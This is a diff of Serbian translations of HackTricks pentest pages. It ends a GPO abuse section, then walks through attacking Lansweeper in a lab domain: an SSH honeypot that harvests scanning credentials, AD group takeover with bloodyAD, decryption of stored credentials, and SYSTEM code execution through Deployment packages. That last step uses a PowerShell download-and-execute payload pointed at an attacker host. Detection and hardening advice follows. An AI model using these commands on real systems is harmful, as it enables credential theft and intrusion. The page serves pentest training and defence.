+Pregledom Scheduled Tasks za dati GPO, kao što je `Misconfigured Policy`, može se potvrditi dodavanje zadataka kao što je `evilTask`. Ovi zadaci se kreiraju preko skripti ili alata komandne linije sa ciljem da modifikuju ponašanje sistema ili eskaliraju privilegije.

-Struktura zadatka, prikazana u XML konfiguracionom fajlu koji generiše `New-GPOImmediateTask`, opisuje specifikacije zakazanog zadatka — uključujući komandu koja će se izvršiti i okidače. Ovaj fajl predstavlja način na koji su zakazani zadaci definisani i upravljani unutar GPO-a, pružajući metod za izvršavanje proizvoljnih komandi ili skripti kao deo sprovođenja politike.
+Struktura zadatka, kako je prikazano u XML konfiguracionom fajlu koji generiše `New-GPOImmediateTask`, navodi detalje zakazanog zadatka — uključujući komandu koja će se izvršiti i njene okidače. Ovaj fajl ilustruje kako se Scheduled Tasks definišu i upravljaju unutar GPO-a, pružajući metod za izvršavanje proizvoljnih komandi ili skripti kao deo primene politike.

 ### Korisnici i grupe

-GPO takođe omogućavaju manipulaciju članstvima korisnika i grupa na ciljanim sistemima. Direktnim izmenama policy fajlova Users and Groups, napadači mogu dodavati korisnike u privilegovane grupe, kao što je lokalna grupa `administrators`. To je moguće kroz delegiranje prava upravljanja GPO-om, koje dozvoljava izmene policy fajlova kako bi se uključili novi korisnici ili promenilo članstvo u grupama.
+GPO-i takođe omogućavaju manipulaciju članstvima korisnika i grupa na ciljanim sistemima. Direktnim uređivanjem policy fajlova za korisnike i grupe, napadači mogu dodati korisnike u privilegovane grupe, poput lokalne grupe `administrators`. Ovo je moguće zahvaljujući delegiranju dozvola za upravljanje GPO-om, što dozvoljava izmene policy fajlova kako bi se uključili novi korisnici ili promenila članstva u grupama.

-XML konfiguracioni fajl za Users and Groups prikazuje kako se ove promene implementiraju. Dodavanjem unosa u ovaj fajl, određenim korisnicima se može dodeliti povišeni nivo privilegija na pogođenim sistemima. Ova metoda pruža direktan način za eskalaciju privilegija kroz manipulaciju GPO-ima.
+XML konfiguracioni fajl za korisnike i grupe prikazuje kako se ove izmene primenjuju. Dodavanjem unosa u ovaj fajl, određenim korisnicima se mogu dodeliti povišene privilegije na pogođenim sistemima. Ova metoda nudi direktan pristup eskalaciji privilegija kroz manipulaciju GPO-om.

-Pored toga, mogu se razmotriti i dodatne metode za izvršavanje koda ili održavanje pristupa, kao što su korišćenje logon/logoff skripti, izmena registrskih ključeva za autorun, instalacija softvera putem .msi fajlova, ili uređivanje konfiguracija servisa. Ove tehnike pružaju različite puteve za održavanje pristupa i kontrolu ciljnih sistema kroz zloupotrebu GPO-ova.
+Dalje, mogu se razmotriti i dodatne metode za izvršavanje koda ili održavanje perzistencije, kao što su korišćenje logon/logoff skripti, izmena registry ključeva za autorun, instalacija softvera preko .msi fajlova, ili uređivanje konfiguracija servisa. Ove tehnike pružaju različite puteve za održavanje pristupa i kontrolu ciljnih sistema kroz zloupotrebu GPO-a.

-## References
+## Reference

 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
 - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
@ -1,21 +1,21 @@
-# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
+# Lansweeper Zloupotreba: Credential Harvesting, Secrets Decryption, and Deployment RCE

 {{#include ../../banners/hacktricks-training.md}}

-Lansweeper je platforma za otkrivanje i inventar IT imovine često postavljena na Windows i integrisana sa Active Directory. Kredencijali konfigurisani u Lansweeper-u koriste se od strane njegovih scanning engines da se autentifikuju na asset-e preko protokola kao što su SSH, SMB/WMI i WinRM. Pogrešne konfiguracije često dozvoljavaju:
+Lansweeper je platforma za otkrivanje i inventar IT resursa koja se često postavlja na Windows i integriše sa Active Directory. Kredencijali konfigurisani u Lansweeperu koriste njegovi skeneri za autentifikaciju na resurse preko protokola kao što su SSH, SMB/WMI i WinRM. Pogrešne konfiguracije često omogućavaju:

- Presretanje kredencijala preusmeravanjem scanning target-a na host kojim kontroliše napadač (honeypot)
- Zloupotrebu AD ACLs izloženih od strane Lansweeper-related groups da bi se stekao udaljeni pristup
- Dešifrovanje Lansweeper-konfigurisанih tajni na hostu (connection strings i sačuvani scanning credentials)
- Izvršavanje koda na managed endpoints preko Deployment feature-a (često pokreće kao SYSTEM)
+- Credential interception preusmeravanjem Scanning Target na host kojim kontroliše napadač (honeypot)
+- Zloupotrebu AD ACLs izloženih od strane grupa povezanih sa Lansweeper-om kako bi se stekao daljinski pristup
+- Dekriptovanje na hostu tajni konfigurisanim u Lansweeperu (connection strings i sačuvani scanning credentials)
+- Code execution na upravljanim endpoint-ima preko Deployment feature (često se izvršava kao SYSTEM)

-Ova stranica sumira praktične toka napadača i komande za zloupotrebu ovih ponašanja tokom engagement-a.
+Ova stranica sumira praktične tokove rada napadača i komande za zloupotrebu ovih ponašanja tokom angažmana.

 ## 1) Harvest scanning credentials via honeypot (SSH example)

-Idea: kreirajte Scanning Target koji pokazuje na vaš host i mapirajte postojeće Scanning Credentials na njega. Kada scan pokrene, Lansweeper će pokušati da se autentifikuje tim kredencijalima, i vaš honeypot će ih uhvatiti.
+Ideja: kreirajte Scanning Target koji pokazuje na vaš host i povežite postojeće Scanning Credentials sa njim. Kada se scan pokrene, Lansweeper će pokušati da se autentifikuje tim kredencijalima, a vaš honeypot će ih zabeležiti.

-Pregled koraka (web UI):
+Steps overview (web UI):
 - Scanning → Scanning Targets → Add Scanning Target
 - Type: IP Range (or Single IP) = your VPN IP
 - Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
@ -39,7 +39,7 @@ sshesame --config sshesame.conf
 # authentication for user "svc_inventory_lnx" with password "<password>" accepted
 # connection with client version "SSH-2.0-RebexSSH_5.0.x" established
 ```
-Proverite uhvaćene creds na DC servisima:
+Proverite captured creds protiv DC services:
 ```bash
 # SMB/LDAP/WinRM checks (NetExec)
 netexec smb   inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
@ -47,12 +47,12 @@ netexec ldap  inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
 Notes
- Works similarly for other protocols when you can coerce the scanner to your listener (SMB/WinRM honeypots, etc.). SSH is often the simplest.
- Many scanners identify themselves with distinct client banners (e.g., RebexSSH) and will attempt benign commands (uname, whoami, etc.).
+- Radi slično i za druge protokole kada možete primorati skener da se poveže na vaš listener (SMB/WinRM honeypots, itd.). SSH je često najjednostavniji.
+- Mnogi skeneri se identifikuju posebnim client bannerima (npr. RebexSSH) i pokušavaće benignim komandama (uname, whoami, itd.).

-## 2) AD ACL abuse: osvojite udaljeni pristup dodavanjem sebe u app-admin grupu
+## 2) AD ACL abuse: dobijte daljinski pristup tako što ćete sebe dodati u app-admin group

-Koristite BloodHound za enumeraciju efektivnih prava kompromitovanog naloga. Čest nalaz je grupa specifična za scanner ili aplikaciju (npr. “Lansweeper Discovery”) koja ima GenericAll nad privilegovanom grupom (npr. “Lansweeper Admins”). Ako je privilegovana grupa takođe član “Remote Management Users”, WinRM postaje dostupan čim sebe dodamo.
+Koristite BloodHound za enumeraciju effective rights sa kompromitovanog naloga. Uobičajen nalaz je grupa specifična za skener ili aplikaciju (npr. “Lansweeper Discovery”) koja ima GenericAll nad privilegovanim grupom (npr. “Lansweeper Admins”). Ako je privilegovana grupa takođe član “Remote Management Users”, WinRM postaje dostupan nakon što sebe dodamo.

 Collection examples:
 ```bash
@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhoun
 # RustHound-CE collection (zip for BH CE import)
 rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
 ```
-Eksploatacija GenericAll na grupi pomoću BloodyAD (Linux):
+Exploit GenericAll na grupi pomoću BloodyAD (Linux):
 ```bash
 # Add our user into the target group
 bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
 # Confirm WinRM access if the group grants it
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Zatim dobijte interaktivni shell:
+Zatim dobijte interactive shell:
 ```bash
 evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Tip: Kerberos operacije su vremenski osetljive. Ako dobijete KRB_AP_ERR_SKEW, prvo sinhronizujte vreme sa DC:
+Savet: Kerberos operacije su zavisne od vremena. Ako dobijete KRB_AP_ERR_SKEW, prvo sinhronizujte vreme sa DC:
 ```bash
 sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
 ```
-## 3) Dekriptirajte tajne koje je Lansweeper konfigurisao na hostu
+## 3) Decrypt Lansweeper-configured secrets on the host

-Na Lansweeper serveru, ASP.NET sajt obično čuva šifrovani connection string i simetrični ključ koji aplikacija koristi. Uz odgovarajući lokalni pristup možete dešifrovati DB connection string i potom izvući sačuvane kredencijale za skeniranje.
+Na Lansweeper serveru, ASP.NET sajt obično čuva encrypted connection string i simetrični ključ koji aplikacija koristi. Sa odgovarajućim lokalnim pristupom možete decrypt DB connection string i zatim izvući stored scanning credentials.

 Tipične lokacije:
 - Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
 - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
+- Ključ aplikacije: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`

-Koristite SharpLansweeperDecrypt za automatizaciju dešifrovanja i izvlačenja sačuvanih kredencijala:
+Koristite SharpLansweeperDecrypt to automate decryption and dumping of stored creds:
 ```powershell
 # From a WinRM session or interactive shell on the Lansweeper host
 # PowerShell variant
@ -99,26 +99,26 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
 #  - Connect to Lansweeper DB
 #  - Decrypt stored scanning credentials and print them in cleartext
 ```
-Očekivani izlaz uključuje DB connection details i plaintext scanning credentials, kao što su Windows i Linux nalozi koji se koriste širom okruženja. Oni često imaju povišena lokalna prava na hostovima u domeni:
+Očekivani izlaz uključuje DB detalje za konekciju i plaintext kredencijale za skeniranje, kao što su Windows i Linux nalozi koji se koriste širom infrastrukture. Oni često imaju povišena lokalna prava na hostovima u domeni:
 ```text
 Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
 Inventory Linux    svc_inventory_lnx        <StrongPassword!>
 ```
-Iskoristi povraćene Windows scanning creds za privilegovan pristup:
+Iskoristite vraćene Windows scanning creds za privilegovani pristup:
 ```bash
 netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
 # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
 ```
 ## 4) Lansweeper Deployment → SYSTEM RCE

-Kao član “Lansweeper Admins”, web UI izlaže Deployment i Configuration. Pod Deployment → Deployment packages, možete kreirati pakete koji izvršavaju proizvoljne komande na ciljnim asset-ima. Izvršenje obavlja Lansweeper service sa visokim privilegijama, što rezultuje izvršavanjem koda kao NT AUTHORITY\SYSTEM na odabranom hostu.
+Kao član “Lansweeper Admins”, web UI izlaže Deployment i Configuration. Pod Deployment → Deployment packages, možete napraviti pakete koji pokreću proizvoljne komande na ciljnim asset-ima. Izvršenje obavlja Lansweeper service sa visokim privilegijama, što daje code execution kao NT AUTHORITY\SYSTEM na izabranom hostu.

-High-level steps:
+Glavni koraci:
 - Kreirajte novi Deployment package koji pokreće PowerShell ili cmd one-liner (reverse shell, add-user, itd.).
 - Ciljajte željeni asset (npr. DC/host gde Lansweeper radi) i kliknite Deploy/Run now.
- Uhvatite svoj shell kao SYSTEM.
+- Uhvatite shell kao SYSTEM.

-Example payloads (PowerShell):
+Primer payloads (PowerShell):
 ```powershell
 # Simple test
 powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
@ -127,18 +127,18 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
 powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
 ```
 OPSEC
- Deployment actions are noisy and leave logs in Lansweeper and Windows event logs. Use judiciously.
+- Operacije deploy-a su bučne i ostavljaju zapise u Lansweeper i Windows event logovima. Koristite ih pažljivo.

 ## Detekcija i hardening

- Ograničite ili uklonite anonimne SMB enumeracije. Monitorirajte za RID cycling i anomalne pristupe Lansweeper share-ovima.
- Kontrole izlaza: blokirajte ili strogo ograničite outbound SSH/SMB/WinRM sa scanner hostova. Upozorite na nestandardne portove (npr. 2022) i neuobičajene client bannere poput Rebex.
- Protect `Website\\web.config` and `Key\\Encryption.txt`. Externalizujte secrets u vault i rotirajte pri izlaganju. Razmotrite servisne naloge sa minimalnim privilegijama i gMSA gde je izvodljivo.
- AD monitoring: alarmirajte na promene u Lansweeper-related grupama (npr. “Lansweeper Admins”, “Remote Management Users”) i na ACL izmene koje dodeljuju GenericAll/Write članstvo privilegovanim grupama.
- Audit Deployment package creations/changes/executions; alarmirajte na pakete koji pokreću cmd.exe/powershell.exe ili neočekivane outbound konekcije.
+- Ograničite ili uklonite anonimno SMB enumerisanje. Pratite RID cycling i anomalni pristup Lansweeper deljenjima.
+- Kontrola izlaznog saobraćaja: blokirajte ili strogo ograničite outbound SSH/SMB/WinRM sa scanner hostova. Upozoravajte na nestandardne portove (npr. 2022) i neuobičajene client bannere kao Rebex.
+- Zaštitite `Website\\web.config` i `Key\\Encryption.txt`. Eksternalizujte tajne u vault i rotirajte ih u slučaju izlaganja. Razmotrite servisne naloge sa minimalnim privilegijama i gMSA gde je moguće.
+- AD monitoring: upozoravajte na promene u grupama vezanim za Lansweeper (npr. “Lansweeper Admins”, “Remote Management Users”) i na promene ACL-a koje dodeljuju GenericAll/Write članstvo u privilegovanim grupama.
+- Audit-ujte kreiranje/izmene/izvršavanje Deployment paketa; upozoravajte na pakete koji pokreću cmd.exe/powershell.exe ili na neočekivane outbound konekcije.

 ## Povezane teme
- SMB/LSA/SAMR enumeration and RID cycling
+- SMB/LSA/SAMR enumeracija i RID cycling
 - Kerberos password spraying and clock skew considerations
 - BloodHound path analysis of application-admin groups
 - WinRM usage and lateral movement